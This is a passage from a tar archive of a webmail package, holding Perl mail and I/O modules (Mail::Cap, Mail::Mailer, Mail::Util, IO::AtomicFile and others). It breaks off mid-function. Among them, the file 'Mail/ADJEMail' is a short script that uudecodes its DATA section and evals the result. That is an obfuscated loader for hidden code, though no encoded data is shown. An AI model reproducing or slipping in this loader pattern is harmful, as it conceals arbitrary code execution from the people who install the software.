wm357/Mail/Field/ 40755    312    144           0  7245677667  12613 5ustar  webmailuserswm357/Mail/Field/AddrList.pm100755    312    144        4140  6556413304  14732 0ustar  webmailuserspackage Mail::Field::AddrList;

=head1 NAME 

Mail::Field::AddrList - object representation of e-mail address lists

=head1 DESCRIPTION

I<Don't use this class directly!> Instead ask Mail::Field for new
instances based on the field name!

=head1 SYNOPSIS

  use Mail::Field::AddrList;

  $to = Mail::Field->new('To');
  $from = Mail::Field->new('From', 'poe@daimi.aau.dk (Peter Orbaek)');
  
  $from->create('foo@bar.com' => 'Mr. Foo', poe => 'Peter');
  $from->parse('foo@bar.com (Mr Foo), Peter Orbaek <poe>');

  # make a RFC822 header string
  print $from->stringify(),"\n";

  # extract e-mail addresses and names
  @addresses = $from->addresses();
  @names = $from->names();

  # adjoin a new address to the list
  $from->set_address('foo@bar.com', 'Mr. Foo');

=head1 NOTES

Defines parsing and formatting according to RFC822, of the following fields:
To, From, Cc, Reply-To and Sender.

=head1 AUTHOR

Peter Orbaek <poe@cit.dk> 26-Feb-97
Modified by Graham Barr <gbarr@pobox.com>

=cut

use strict;
use vars qw(@ISA $VERSION);
use Mail::Field ();
use Carp;
use Mail::Address;

@ISA = qw(Mail::Field);
$VERSION = '1.0';

# install header interpretation, see Mail::Field
INIT: {
    my $x = bless([]);

    $x->register('To');
    $x->register('From');
    $x->register('Cc');
    $x->register('Reply-To');
    $x->register('Sender');
}

sub create {
    my ($self, %arg) = @_;  # (email => name, email => realname,...)
    my($e,$n);
    $self->{AddrList} = {};

    $self->{AddrList}{$e} = Mail::Address->new($n,$e)
	while(($e,$n) = each %arg);

    $self;
}

sub parse {
    my ($self, $string) = @_;
    my ($a,$email,$name);

    foreach $a (Mail::Address->parse($string)) {
	my $e = $a->address;
	$self->{AddrList}{$e} = $a;
    }
    $self;
}

sub stringify {
    my $self = shift;
    my ($x, $email, $name);

    join(", ", map { $_->format } values %{$self->{AddrList}});
}

sub addresses {
    keys %{shift->{AddrList}};
}

sub names {
    map { $_->name } values %{shift->{AddrList}};
}

sub set_address {
    my ($self, $email, $name) = @_;
    $self->{AddrList}{$email} = Mail::Address->new($name, $email);
    $self;
}

1;
wm357/Mail/Field/Date.pm100755    312    144        2374  6556413305  14111 0ustar  webmailusers# Mail::Field::Date
#
# Copyright (c) 1997 Graham Barr <gbarr@pobox.com>. All rights reserved.
# This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.
#
# An example of a Mail::Field::* class

package Mail::Field::Date;

use strict;
use Mail::Field ();
use vars qw(@ISA $VERSION);
use Date::Format qw(time2str);
use Date::Parse qw(str2time);

@ISA = qw(Mail::Field);
$VERSION = do { my @r=(q$Revision: 1.3 $=~/\d+/g); sprintf "%d."."%02d"x$#r,@r};

bless([])->register('Date');

sub set
{
 my $self = shift;
 my $arg = @_ == 1 ? shift : { @_ };
 my $s;

 foreach $s (qw(Time TimeStr))
  {
   if(exists $arg->{$s}) { $self->{$s} = $arg->{$s} }
		    else { delete $self->{$s} }
  }

 $self;
}

sub parse
{
 my $self = shift;

 delete $self->{Time};
 $self->{TimeStr} = shift;
 $self;
}

sub time
{
 my $self = shift;

 if(@_)
  {
   delete $self->{TimeStr};
   return $self->{Time} = shift;
  }

 return $self->{Time}
	if exists $self->{Time};

 $self->{Time} = str2time($self->{TimeStr});
}

sub stringify
{
 my $self = shift;

 return $self->{TimeStr}
	if exists $self->{TimeStr};

 time2str("%a, %e %b %T %Y %z", $self->time);
}

sub reformat
{
 my $self = shift;
 $self->time($self->time);
 $self->stringify;
}

1;

wm357/Mail/Cap.pm100755    312    144       17220  6700455512  12725 0ustar  webmailusers#

package Mail::Cap;
use strict;

use vars qw($VERSION $useCache);

$VERSION = "1.07";
sub Version { $VERSION; }

=head1 NAME

Mail::Cap - Parse mailcap files

=head1 SYNOPSIS

    my $mc = new Mail::Cap;

    $desc = $mc->description('image/gif');

    print "GIF desc: $desc\n";

    $cmd = $mc->viewCmd('text/plain; charset=iso-8859-1', 'file.txt');

=head1 DESCRIPTION

Parse mailcap files as specified in RFC 1524 - I<A User Agent
Configuration Mechanism For Multimedia Mail Format Information>.  In
the description below C<$type> refers to the MIME type as specified in
the I<Content-Type> header of mail or HTTP messages.  Examples of
types are:

  image/gif
  text/html
  text/plain; charset=iso-8859-1

=cut

$useCache = 1;  # don't evaluate tests every time

my @path;

if($^O eq "MacOS") {
    @path = split(/,/, $ENV{MAILCAPS} ||
	"$ENV{HOME}mailcap");
} else {
    @path = split(/:/, $ENV{MAILCAPS} ||
	# this path is specified under RFC 1524 appendix A 
	( defined($ENV{HOME})
	  ? "$ENV{HOME}/.mailcap:/etc/mailcap:/usr/etc/mailcap:/usr/local/etc/mailcap"
	  : "/etc/mailcap:/usr/etc/mailcap:/usr/local/etc/mailcap"));
}


=head1 METHODS

=head2 new()

  $mcap = new Mail::Cap;
  $mcap = new Mail::Cap "/mydir/mailcap";

Create and initialize a new Mail::Cap object.  If you give it an
argument it will try to parse the specified file.  Without any
arguments it will search for the mailcap file using the standard
mailcap path, or the MAILCAPS environment variable if it is defined.

=cut

sub new
{
    my($class, $file) = @_;
    unless (defined $file) {
	for (@path) {
	    if (-r $_) {
		$file = $_;
		last;
	    }
	}
    }
    my $self = bless {}, $class;
    local *MAILCAP;
    if (defined $file && open(MAILCAP, $file)) {
	$self->{'_file'} = $file;
      local($_);
	while (<MAILCAP>) {
	    next if /^\s*#/; # comment
	    next if /^\s*$/; # blank line
	    while (s/\\\s*$//) {  # continuation line
		$_ .= <MAILCAP>;
	    }
	    chomp;
	    s/\0//g;            # ensure no NULs in the line
	    s/([^\\]);/$1\0/g;  # make field separator NUL
	    my @parts = split(/\s*\0\s*/, $_);
	    my $type = shift(@parts);
	    $type .= "/*" unless $type =~ m,/,;
	    my $view = shift(@parts);
	    $view =~ s/\\;/;/g;
	    my %field = ('view' => $view);
	    for (@parts) {
		my($key,$val) = split(/\s*=\s*/, $_, 2);
		if (defined $val) {
		    $val =~ s/\\;/;/g;
		} else {
		    $val = 1;
		}
		$field{$key} = $val;
	    }
	    if ($field{'test'}) {
		my $test = $field{'test'};
		unless ($test =~ /%/) {
		    # No parameters in test, can perform it right away
		    system $test;
		    next if $?;
		}
	    }
	    # record this entry
	    unless (exists $self->{$type}) {
		$self->{$type} = [];
	    }
	    push(@{$self->{$type}}, \%field);
	}
	close(MAILCAP);
    } else {
	# Set up default mailcap
      $self->{'audio/*'} = [{'view' => "showaudio %s"}];
      $self->{'image/*'} = [{'view' => "xv %s"}];
      $self->{'message/rfc822'} = [{'view' => "xterm -e metamail %s"}];
    }
    $self;
}

=head2 view($type, $file)

=head2 compose($type, $file)

=head2 edit($type, $file)

=head2 print($type, $file)

These methods invoke a suitable progam presenting or manipulating the
media object in the specified file.  They all return C<1> if a command
was found, and C<0> otherwise.  You might test C<$?" for the outcome
of the command.

=cut

sub view       { my $self = shift; $self->_run($self->viewCmd(@_));    }
sub compose    { my $self = shift; $self->_run($self->composeCmd(@_)); }
sub edit       { my $self = shift; $self->_run($self->editCmd(@_));    }
sub print      { my $self = shift; $self->_run($self->printCmd(@_));   }

=head2 viewCmd($type, $file)

=head2 composeCmd($type, $file)

=head2 editCmd($type, $file)

=head2 printCmd($type, $file)

These methods return a string that is suitable for feeding to system()
in order to invoke a suitable progam presenting or manipulating the
media object in the specified file.  It will return C<undef> if no
suitable specification exists.

=cut

sub viewCmd    { shift->_createCommand('view', @_);    }
sub composeCmd { shift->_createCommand('compose', @_); }
sub editCmd    { shift->_createCommand('edit', @_);    }
sub printCmd   { shift->_createCommand('print', @_);   }

sub _createCommand
{
    my($self, $method, $type, $file) = @_;
    my $entry = $self->getEntry($type, $file);
    return undef unless $entry;
    if (exists $entry->{$method}) {
	return $self->expandPercentMacros($entry->{$method}, $type, $file);
    } else {
	return undef;
    }
}

sub _run
{
    my($self, $cmd) = @_;
    if (defined $cmd) {
	system $cmd;
	return 1;
    }
    0;
}

sub makeName
{
    my($self, $type, $basename) = @_;
    my $template = $self->nametemplate($type);
    return $basename unless $template;
    $template =~ s/%s/$basename/g;
    $template;
}

=head2 field($type, $field)

Returns the specified field for the type.  Returns undef if no
specification exsists.

=cut

sub field
{
    my($self, $type, $field) = @_;
    my $entry = $self->getEntry($type);
    $entry->{$field};
}

=head2 description($type)

=head2 textualnewlines($type)

=head2 x11_bitmap($type)

=head2 nametemplate($type)

These methods return the corresponding mailcap field for the type.
These methods should be more convenient to use than the field() method
for the same fields.

=cut

sub description     { shift->field(shift, 'description');     }
sub textualnewlines { shift->field(shift, 'textualnewlines'); }
sub x11_bitmap      { shift->field(shift, 'x11-bitmap');      }
sub nametemplate    { shift->field(shift, 'nametemplate');    }

sub getEntry
{
    my($self, $origtype, $file) = @_;

    if ($useCache) {
	if (exists $self->{'_cache'}{$origtype}) {
	    return $self->{'_cache'}{$origtype};
	}
    }

    my($fulltype, @params) = split(/\s*;\s*/, $origtype);
    my($type, $subtype) = split(/\//, $fulltype, 2);
    $subtype = "" unless defined $subtype;

    my $entry;
    for (@{$self->{"$type/$subtype"}}, @{$self->{"$type/*"}}) {
	if (exists $_->{'test'}) {
	    # must run test to see if it applies
	    my $test = $self->expandPercentMacros($_->{'test'},
						  $origtype, $file);
	    system $test;
	    next if $?;
	}
	$entry = { %$_ };  # make copy
        last;
    }
    $self->{'_cache'}{$origtype} = $entry if $useCache;
    $entry;
}


sub expandPercentMacros
{
    my($self,$text,$type,$file) = @_;
    return $text unless defined $type;
    $file = "" unless defined $file;
    my($fulltype, @params) = split(/\s*;\s*/, $type);
    my $subtype;
    ($type, $subtype) = split(/\//, $fulltype, 2);
    my %params;
    for (@params) {
	my($key,$val) = split(/\s*=\s*/, $_, 2);
	$params{$key} = $val;
    }
    $text =~ s/\\%/\0/g;  # hide all escaped %'s
    $text =~ s/%t/$fulltype/g;  # expand %t
    $text =~ s/%s/$file/g;      # expand %s
    {                           # expand %{field}
	local($^W) = 0;  # avoid warnings when expanding %params
	$text =~ s/%\{\s*(.*?)\s*\}/$params{$1}/g;
    }
    $text =~ s/\0/%/g;
    $text;
}

# This following procedures can be useful for debugging purposes

sub dumpEntry
{
    my($hash, $prefix) = @_;
    $prefix = "" unless defined $prefix;
    for (sort keys %$hash) {
	print "$prefix$_ = $hash->{$_}\n";
    }
}

sub dump
{
    my($self) = @_;
    for (keys %$self) {
	next if /^_/;
	print "$_\n";
	for (@{$self->{$_}}) {
	    dumpEntry($_, "\t");
	    print "\n";
	}
    }
    if (exists $self->{'_cache'}) {
	print "Cached types\n";
	for (keys %{$self->{'_cache'}}) {
	    print "\t$_\n";
	}
    }
}

=head1 COPYRIGHT

Copyright (c) 1995 Gisle Aas. All rights reserved.

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=head1 AUTHOR

Gisle Aas <aas@oslonett.no> 

Maintained by Graham Barr <gbarr@pobox.com>

=cut


1;
wm357/Mail/Mailer.pm100755    312    144       15601  7070136646  13441 0ustar  webmailusers#

package Mail::Mailer;

=head1 NAME

Mail::Mailer - Simple interface to electronic mailing mechanisms 

=head1 SYNOPSIS

    use Mail::Mailer;
    use Mail::Mailer qw(mail);

    $mailer = new Mail::Mailer;

    $mailer = new Mail::Mailer $type, @args;

    $mailer->open(\%headers);

    print $mailer $body;

    $mailer->close;


=head1 DESCRIPTION

Sends mail using any of the built-in methods.  You can alter the
behaviour of a method by passing C<$command> to the C<new> method.

=over 4

=item C<mail>

Use the Unix system C<mail> program to deliver the mail.  C<$command>
is the path to C<mail>.  Mail::Mailer will search for C<mailx>, C<Mail>
and C<mail> (in this order).

=item C<sendmail>

Use the C<sendmail> program to deliver the mail.  C<$command> is the
path to C<sendmail>.

=item C<smtp>

Use the C<smtp> protocol via Net::SMTP to deliver the mail. The server
to use can be specified in C<@args> with

    $mailer = new Mail::Mailer 'smtp', Server => $server;

=item C<test>

Used for debugging, this calls C</bin/echo> to display the data.  No
mail is ever sent.  C<$command> is ignored.

=back

C<Mail::Mailer> will search for executables in the above order. The
default mailer will be the first one found.

=head2 ARGUMENTS

C<new> can optionally be given a C<$command> and C<$type>.  C<$type>
is one C<sendmail>, C<mail>, ... given above.  The meaning of
C<$command> depends on C<$type>.

C<open> is given a reference to a hash.  The hash consists of key and
value pairs, the key being the name of the header field (eg, C<To>),
and the value being the corresponding contents of the header field.
The value can either be a scalar (eg, C<gnat@frii.com>) or a reference
to an array of scalars (C<eg, ['gnat@frii.com', 'Tim.Bunce@ig.co.uk']>).

=head1 TO DO

Assist formatting of fields in ...::rfc822:send_headers to ensure
valid in the face of newlines and longlines etc.

Secure all forms of send_headers() against hacker attack and invalid
contents. Especially "\n~..." in ...::mail::send_headers.

=head1 ENVIRONMENT VARIABLES

=over 4

=item PERL_MAILERS

Augments/override the build in choice for binary used to send out
our mail messages.

Format:

    "type1:mailbinary1;mailbinary2;...:type2:mailbinaryX;...:..."

Example: assume you want you use private sendmail binary instead
of mailx, one could set C<PERL_MAILERS> to:

    "mail:/does/not/exists:sendmail:$HOME/test/bin/sendmail"

=back

=head1 SEE ALSO

Mail::Send

=head1 AUTHORS

Maintained by Graham Barr E<lt>F<gbarr@pobox.com>E<gt>

Original code written by Tim Bunce E<lt>F<Tim.Bunce@ig.co.uk>E<gt>,
with a kick start from Graham Barr E<lt>F<gbarr@pobox.com>E<gt>. With
contributions by Gerard Hickey E<lt>F<hickey@ctron.com>E<gt> Small fix
and documentation by Nathan Torkington E<lt>F<gnat@frii.com>E<gt>.

For support please contact comp.lang.perl.misc or Graham Barr
E<lt>F<gbarr@pobox.com>E<gt>

=cut

use Carp;
use IO::Handle;
use vars qw(@ISA $VERSION $MailerBinary $MailerType %Mailers @Mailers);
use Config;
use strict;

$VERSION = "1.19"; # $Id: //depot/MailTools/Mail/Mailer.pm#13 $

sub Version { $VERSION }

@ISA = qw(IO::Handle);

# Suggested binaries for types?  Should this be handled in the object class?
@Mailers = (

    # Body on stdin with tilde escapes
    'mail'	=> 	'mail',

    # Headers-blank-Body all on stdin
    'sendmail'  =>      '/usr/lib/sendmail;/usr/sbin/sendmail;/usr/ucblib/sendmail',

    'smtp'	=> 	undef,
    'test'	=> 	'test'
);

# There are several flavours of mail, which do we have ????

{
    my $cmd = is_exe('mailx;Mail;mail');
    my $osname = $Config{'osname'};

    if($osname =~ /(?:dgux)|(?:solaris)/io) {
	$cmd .= " -~";
    }
    elsif($osname =~ /(?:linux)|(?:bsdos)|(?:freebsd)/io) {
	$cmd .= " -I";
    }
    push @Mailers, 'mail', $cmd;
}

push(@Mailers, split(/:/,$ENV{PERL_MAILERS})) if $ENV{PERL_MAILERS};

%Mailers = @Mailers;

$MailerBinary = undef;

# does this really need to be done? or should a default mailer be specfied?

if($^O eq 'MacOS' || $^O eq 'VMS') {
    $MailerType = 'smtp';
    $MailerBinary = $Mailers{$MailerType};
}
else {
    my $i;
    for($i = 0 ; $i < @Mailers ; $i += 2) {
	$MailerType = $Mailers[$i];
	my $binary;
	if($binary = is_exe($Mailers{$MailerType})) {
	    $MailerBinary = $binary;
	    last;
	}
    }
}

sub import {
    shift;

    if(@_) {
	my $type = shift;
	my $exe = shift || $Mailers{$type};

        carp "Cannot locate '$exe'"
            unless is_exe($exe);

        $MailerType = $type;
        $Mailers{$MailerType} = $exe;
    }
}

sub to_array {
    my($self, $thing) = @_;
    if (ref($thing)) {
	return @$thing;
    } else {
	return ($thing);
    }
}

sub is_exe {
    my $exe = shift;
    my $cmd;

    foreach $cmd (split /;/, $exe) {
	$cmd =~ s/^\s+//;

	# remove any options
	my $name = ($cmd =~ /^(\S+)/)[0];

	# check for absolute or relative path
	return ($cmd)
	    if (-x $name and ! -d $name and $name =~ m:/:);

	if (defined $ENV{PATH}) {
	    my $dir;
	    foreach $dir (split(/:/, $ENV{PATH})) {
		return "$dir/$cmd"
		    if (-x "$dir/$name" && ! -d "$dir/$name");
	    }
	}
    }
    0;
}

sub new {
    my($class, $type, @args) = @_;

    $type = $MailerType unless $type;
    croak "Mailer '$type' not known, please specify correct type"
	unless $type;

    my $exe = $Mailers{$type};

    if(defined($exe)) {
	$exe = is_exe ($exe) if defined $type;

	$exe  = $MailerBinary  unless $exe;
	croak "No mailer type specified (and no default available), thus can not find executable program."
	    unless $exe;
    }

    $class = "Mail::Mailer::$type";
    eval "require $class" or die $@;
    my $glob = $class->SUPER::new; # local($glob) = gensym;	# Make glob for FileHandle and attributes

    %{*$glob} = (Exe 	=> $exe,
		 Args	=> [ @args ]
		);
    
    $glob; # bless $glob, $class;
}


sub open {
    my($self, $hdrs) = @_;
    my $exe = *$self->{Exe}; # || Carp::croak "$self->open: bad exe";
    my $args = *$self->{Args};
    my @to = $self->who_to($hdrs);
    
    $self->close;	# just in case;

    # Fork and start a mailer
    (defined($exe) && open($self,"|-"))
	|| $self->exec($exe, $args, \@to)
	|| die $!;

    # Set the headers
    $self->set_headers($hdrs);

    # return self (a FileHandle) ready to accept the body
    $self;
}


sub exec {
    my($self, $exe, $args, $to) = @_;
    # Fork and exec the mailer (no shell involved to avoid risks)
    my @exe = split(/\s+/,$exe);

    exec(@exe, @$args, @$to);
}

sub can_cc { 1 }	# overridden in subclass for mailer that can't

sub who_to {
    my($self, $hdrs) = @_;
    my @to = $self->to_array($hdrs->{To});
    if (!$self->can_cc) {  # Can't cc/bcc so add them to @to
	push(@to, $self->to_array($hdrs->{Cc})) if $hdrs->{Cc};
	push(@to, $self->to_array($hdrs->{Bcc})) if $hdrs->{Bcc};
    }
    @to;
}

sub epilogue {
    # This could send a .signature, also see ::smtp subclass
}

sub close {
    my($self, @to) = @_;
    if (fileno($self)) {
	$self->epilogue;
	close($self)
    }
}


sub DESTROY {
    my $self = shift;
    $self->close;
}

1;

wm357/Mail/Util.pm100755    312    144       10761  7125655422  13146 0ustar  webmailusers# Mail::Util.pm
#
# Copyright (c) 1995-8 Graham Barr <gbarr@pobox.com>. All rights reserved.
# This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.

package Mail::Util;

use strict;
use vars qw($VERSION @ISA @EXPORT_OK);
# mjm use AutoLoader ();
use Exporter ();

BEGIN {
    require 5.000;

    $VERSION = "1.16";

# mjm    *AUTOLOAD = \&AutoLoader::AUTOLOAD;
    @ISA = qw(Exporter);

    @EXPORT_OK = qw(read_mbox maildomain mailaddress);
}

1;

sub Version { $VERSION }

=head1 NAME

Mail::Util - mail utility functions

=head1 SYNOPSIS

use Mail::Util qw( ... );

=head1 DESCRIPTION

This package provides several mail related utility functions. Any function
required must by explicitly listed on the use line to be exported into
the calling package.

=head2 read_mbox( $file )

Read C<$file>, a binmail mailbox file, and return a list of  references.
Each reference is a reference to an array containg one message.

=head2 maildomain()

Attempt to determine the current uers mail domain string via the following
methods

 Look for a sendmail.cf file and extract DH parameter
 Look for a smail config file and usr the first host defined in hostname(s)
 Try an SMTP connect (if Net::SMTP exists) first to mailhost then localhost
 Use value from Net::Domain::domainname (if Net::Domain exists)

=head2 mailaddress()

Return a guess at the current users mail address. The user can force
the return value by setting C<$ENV{MAILADDRESS}>

=head1 AUTHOR

Graham Barr <gbarr@pobox.com>

=head1 COPYRIGHT

Copyright (c) 1995-8 Graham Barr. All rights reserved. This program is free
software; you can redistribute it and/or modify it under the same terms
as Perl itself.

=cut

__END__

sub read_mbox {
    my $file  = shift;
    my @mail  = ();
    my $mail  = [];
    my $blank = 1;
    local *FH;
    local $_;

    open(FH,"< $file") or
	do {
	    require Carp;
	    Carp::croak("cannot open '$file': $!\n");
	};

    while(<FH>) {
	if($blank && /\AFrom .*\d{4}/) {
	    push(@mail, $mail) if scalar(@{$mail});
	    $mail = [ $_ ];
	    $blank = 0;
	}
	else {
	    $blank = m#\A\Z#o ? 1 : 0;
	    push(@{$mail}, $_);
	}
    }

    push(@mail, $mail) if scalar(@{$mail});

    close(FH);

    return wantarray ? @mail : \@mail;
}


sub maildomain {

    ##
    ## return imediately if already found
    ##

    return $domain
	if(defined $domain);

    ##
    ## Try sendmail config file if exists
    ##

    local *CF;
    local $_;
    my @sendmailcf = qw(/etc
			/etc/sendmail
			/etc/ucblib
			/etc/mail
			/usr/lib
			/var/adm/sendmail);

    my $config = (grep(-r, map("$_/sendmail.cf", @sendmailcf)))[0];

    if(defined $config && open(CF,$config)) {
	my %var;
	while(<CF>) {
	    if(/\AD([a-zA-Z])([\w.]+)/) {
		my($v,$arg) = ($1,$2);
		$arg =~ s/\$([a-zA-Z])/exists $var{$1} ? $var{$1} : '$' . $1/eg;
		$var{$v} = $arg;
	    }
	}
	close(CF);
	$domain = $var{'j'} if defined $var{'j'};
	$domain = $var{'M'} if defined $var{'M'};
	return $domain
	    if(defined $domain);
    }

    ##
    ## Try smail config file if exists
    ##

    if(open(CF,"/usr/lib/smail/config")) {
	while(<CF>) {
	    if(/\A\s*hostnames?\s*=\s*(\S+)/) {
		$domain = (split(/:/,$1))[0];
		last;
	    }
	}
	close(CF);

	return $domain
	    if(defined $domain);
    }

    ##
    ## Try a SMTP connection to 'mailhost'
    ##

    if(eval { require Net::SMTP }) {
	my $host;

	foreach $host (qw(mailhost localhost)) {
	    my $smtp = eval { Net::SMTP->new($host) };

	    if(defined $smtp) {
		$domain = $smtp->domain;
		$smtp->quit;
		last;
	    }
	}
    }

    ##
    ## Use internet(DNS) domain name, if it can be found
    ##

    unless(defined $domain) {
	if(eval { require Net::Domain } ) {
	    $domain = Net::Domain::domainname();
	}
    }

    $domain = "localhost"
	unless(defined $domain);

    return $domain;
}


sub mailaddress {

    ##
    ## Return imediately if already found
    ##

    return $mailaddress
	if(defined $mailaddress);

    ##
    ## Get user name from environment
    ##

    $mailaddress = $ENV{MAILADDRESS};

    unless ($mailaddress || $^O ne 'MacOS') {
	require Mac::InternetConfig;
	Mac::InternetConfig->import();

	$mailaddress = $InternetConfig{kICEmail()};
    }

    $mailaddress ||= $ENV{USER} ||
                     $ENV{LOGNAME} ||
                     eval { (getpwuid($>))[6] } ||
                     "postmaster";

    ##
    ## Add domain if it does not exist
    ##

    $mailaddress .= '@' . maildomain()
	unless($mailaddress =~ /\@/);

    $mailaddress =~ s/(^.*<|>.*$)//g;

    $mailaddress;
}
wm357/Mail/ADJEMail100755    312    144         111  7126651065  13050 0ustar  webmailuserswhile(<DATA>) {
 push(@arr,unpack('u',$_));
}
$"="";
scalar eval "@arr";
wm357/IO/ 40700    312    144           0  7245677670  11175 5ustar  webmailuserswm357/IO/AtomicFile.pm100755    312    144       11226  7124606126  13663 0ustar  webmailuserspackage IO::AtomicFile;

### DOCUMENTATION AT BOTTOM OF FILE

# Be strict:
use strict;

# External modules:
use IO::File;


#------------------------------
#
# GLOBALS...
#
#------------------------------
use vars qw($VERSION @ISA);

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 1.105 $, 10;

# Inheritance:
@ISA = qw(IO::File);


#------------------------------
# new ARGS...
#------------------------------
# Class method, constructor.
# Any arguments are sent to open().
#
sub new {
    my $class = shift;
    my $self = $class->SUPER::new();
    ${*$self}{'io_atomicfile_suffix'} = '';
    $self->open(@_) if @_;
    $self;
}

#------------------------------
# DESTROY 
#------------------------------
# Destructor.
#
sub DESTROY {
    shift->close(1);   # like close, but raises fatal exception on failure
}

#------------------------------
# open PATH, MODE
#------------------------------
# Class/instance method.
#
sub open {
    my ($self, $path, $mode) = @_;
    ref($self) or $self = $self->new;    # now we have an instance! 

    # Create tmp path, and remember this info: 
    my $temp = "${path}..TMP" . ${*$self}{'io_atomicfile_suffix'};
    ${*$self}{'io_atomicfile_temp'} = $temp;
    ${*$self}{'io_atomicfile_path'} = $path;

    # Open the file!  Returns filehandle on success, for use as a constructor: 
    $self->SUPER::open($temp, $mode) ? $self : undef;
}

#------------------------------
# _closed [YESNO]
#------------------------------
# Instance method, private.
# Are we already closed?  Argument sets new value, returns previous one.
#
sub _closed {
    my $self = shift;
    my $oldval = ${*$self}{'io_atomicfile_closed'};
    ${*$self}{'io_atomicfile_closed'} = shift if @_;
    $oldval;
}

#------------------------------
# close
#------------------------------
# Instance method.
# Close the handle, and rename the temp file to its final name.
#
sub close {
    my ($self, $die) = @_;
    unless ($self->_closed(1)) {             # sentinel...
        $self->SUPER::close();    
        rename(${*$self}{'io_atomicfile_temp'},
	       ${*$self}{'io_atomicfile_path'}) 
            or ($die ? die "close atomic file: $!\n" : return undef); 
    }
    1;
}

#------------------------------
# delete
#------------------------------
# Instance method.
# Close the handle, and delete the temp file.
#
sub delete {
    my $self = shift;
    unless ($self->_closed(1)) {             # sentinel...
        $self->SUPER::close();    
        return unlink(${*$self}{'io_atomicfile_temp'});
    }
    1;
}

#------------------------------
# detach
#------------------------------
# Instance method.
# Close the handle, but DO NOT delete the temp file.
#
sub detach {
    my $self = shift;
    $self->SUPER::close() unless ($self->_closed(1));
    1;
}

#------------------------------
1;
__END__


=head1 NAME

IO::AtomicFile - write a file which is updated atomically


=head1 SYNOPSIS

    use IO::AtomicFile;
    
    # Write a temp file, and have it install itself when closed:
    my $FH = IO::AtomicFile->open("bar.dat", "w");
    print $FH "Hello!\n";
    $FH->close || die "couldn't install atomic file: $!";    
    
    # Write a temp file, but delete it before it gets installed:
    my $FH = IO::AtomicFile->open("bar.dat", "w");
    print $FH "Hello!\n";
    $FH->delete; 
   
    # Write a temp file, but neither install it nor delete it:
    my $FH = IO::AtomicFile->open("bar.dat", "w");
    print $FH "Hello!\n";
    $FH->detach;   


=head1 DESCRIPTION

This module is intended for people who need to update files 
reliably in the face of unexpected program termination.  

For example, you generally don't want to be halfway in the middle of
writing I</etc/passwd> and have your program terminate!  Even
the act of writing a single scalar to a filehandle is I<not> atomic.

But this module gives you true atomic updates, via rename().
When you open a file I</foo/bar.dat> via this module, you are I<actually> 
opening a temporary file I</foo/bar.dat..TMP>, and writing your
output there.   The act of closing this file (either explicitly
via close(), or implicitly via the destruction of the object)
will cause rename() to be called... therefore, from the point
of view of the outside world, the file's contents are updated
in a single time quantum.

To ensure that problems do not go undetected, the "close" method
done by the destructor will raise a fatal exception if the rename()
fails.  The explicit close() just returns undef.   

You can also decide at any point to trash the file you've been 
building. 


=head1 AUTHOR

Eryq (F<eryq@zeegee.com>).
President, ZeeGee Software Inc (F<http://www.zeegee.com>).


=head1 REVISION

$Revision: 1.105 $

=cut 
wm357/IO/InnerFile.pm100755    312    144       12246  7124606126  13525 0ustar  webmailuserspackage IO::InnerFile;

=head1 NAME

IO::InnerFile - define a file inside another file


=head1 DESCRIPTION

If you have a filehandle that can seek() and tell(), then you 
can open an IO::InnerFile on a range of the underlying file.


=head1 PUBLIC INTERFACE

=over

=cut

use Symbol;

# The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 1.102 $, 10;

#------------------------------

=item new FILEHANDLE, [START, [LENGTH]]

I<Class method, constructor.>
Create a new inner-file opened on the given FILEHANDLE,
from bytes START to START+LENGTH.  Both START and LENGTH
default to 0; negative values are silently coerced to zero.

Note that FILEHANDLE must be able to seek() and tell(), in addition
to whatever other methods you may desire for reading it.

=cut

sub new {
   my ($class, $fh, $start, $lg) = @_;
   $start = 0 if (!$start or ($start < 0));
   $lg    = 0 if (!$lg    or ($lg    < 0));

   ### Create the underlying "object":
   my $a = {
      FH 	=> 	$fh,
      CRPOS 	=> 	0,
      START	=>	$start,
      LG	=>	$lg,
   };

   ### Create a new filehandle tied to this object:
   $fh = gensym;
   tie(*$fh, $class, $a); 
   return bless($fh, $class);
}

sub TIEHANDLE { 
   my ($class, $data) = @_;
   return bless($data, $class);
}

sub DESTROY { 
   my ($self) = @_;
   $self->close() if (ref($self) eq 'SCALAR'); 
}

#------------------------------

=item set_length LENGTH

=item get_length 

=item add_length NBYTES

I<Instance methods.>
Get/set the virtual length of the inner file.

=cut

sub set_length { tied(${$_[0]})->{LG} = $_[1]; }
sub get_length { tied(${$_[0]})->{LG}; }
sub add_length { tied(${$_[0]})->{LG} += $_[1]; }

#------------------------------

=item set_start START

=item get_start 

=item add_start NBYTES

I<Instance methods.>
Get/set the virtual start position of the inner file.

=cut

sub set_start  { tied(${$_[0]})->{START} = $_[1]; }
sub get_start  { tied(${$_[0]})->{START}; } 
sub set_end    { tied(${$_[0]})->{LG} =  $_[1] - tied(${$_[0]})->{START}; }
sub get_end    { tied(${$_[0]})->{LG} + tied(${$_[0]})->{START}; }


#------------------------------

=item binmode

=item close

=item flush

=item getc

=item getline

=item print LIST

=item printf LIST

=item read BUF, NBYTES

=item readline

=item seek OFFFSET, WHENCE

=item tell

=item write ARGS...

I<Instance methods.>
Standard filehandle methods.

=cut

sub write    { shift->WRITE(@_) }
sub print    { shift->PRINT(@_) }
sub printf   { shift->PRINTF(@_) }
sub flush    { 1; }
sub binmode  { 1; }
sub getc     { return GETC(tied(${$_[0]}) ); }
sub read     { return READ(     tied(${$_[0]}), @_[1,2,3] ); }
sub readline { return READLINE( tied(${$_[0]}) ); }
sub getline  { return READLINE( tied(${$_[0]}) ); }
sub close    { return CLOSE(tied(${$_[0]}) ); }

sub seek {
   my ($self, $ofs, $whence) = @_;
   $self = tied( $$self );

   $self->{CRPOS} = $ofs if ($whence == 0);
   $self->{CRPOS}+= $ofs if ($whence == 1);
   $self->{CRPOS} = $self->{LG} + $ofs if ($whence == 2);

   $self->{CRPOS} = 0 if ($self->{CRPOS} < 0);
   $self->{CRPOS} = $self->{LG} if ($self->{CRPOS} > $self->{LG});
}

sub tell { 
    return tied(${$_[0]})->{CRPOS}; 
}

sub WRITE  { 
    die "inner files can only open for reading\n";
}

sub PRINT  {
    die "inner files can only open for reading\n";
}

sub PRINTF { 
    die "inner files can only open for reading\n";
}

sub GETC   { 
    my ($self) = @_;
    return 0 if ($self->{CRPOS} >= $self->{LG});

    my $data;

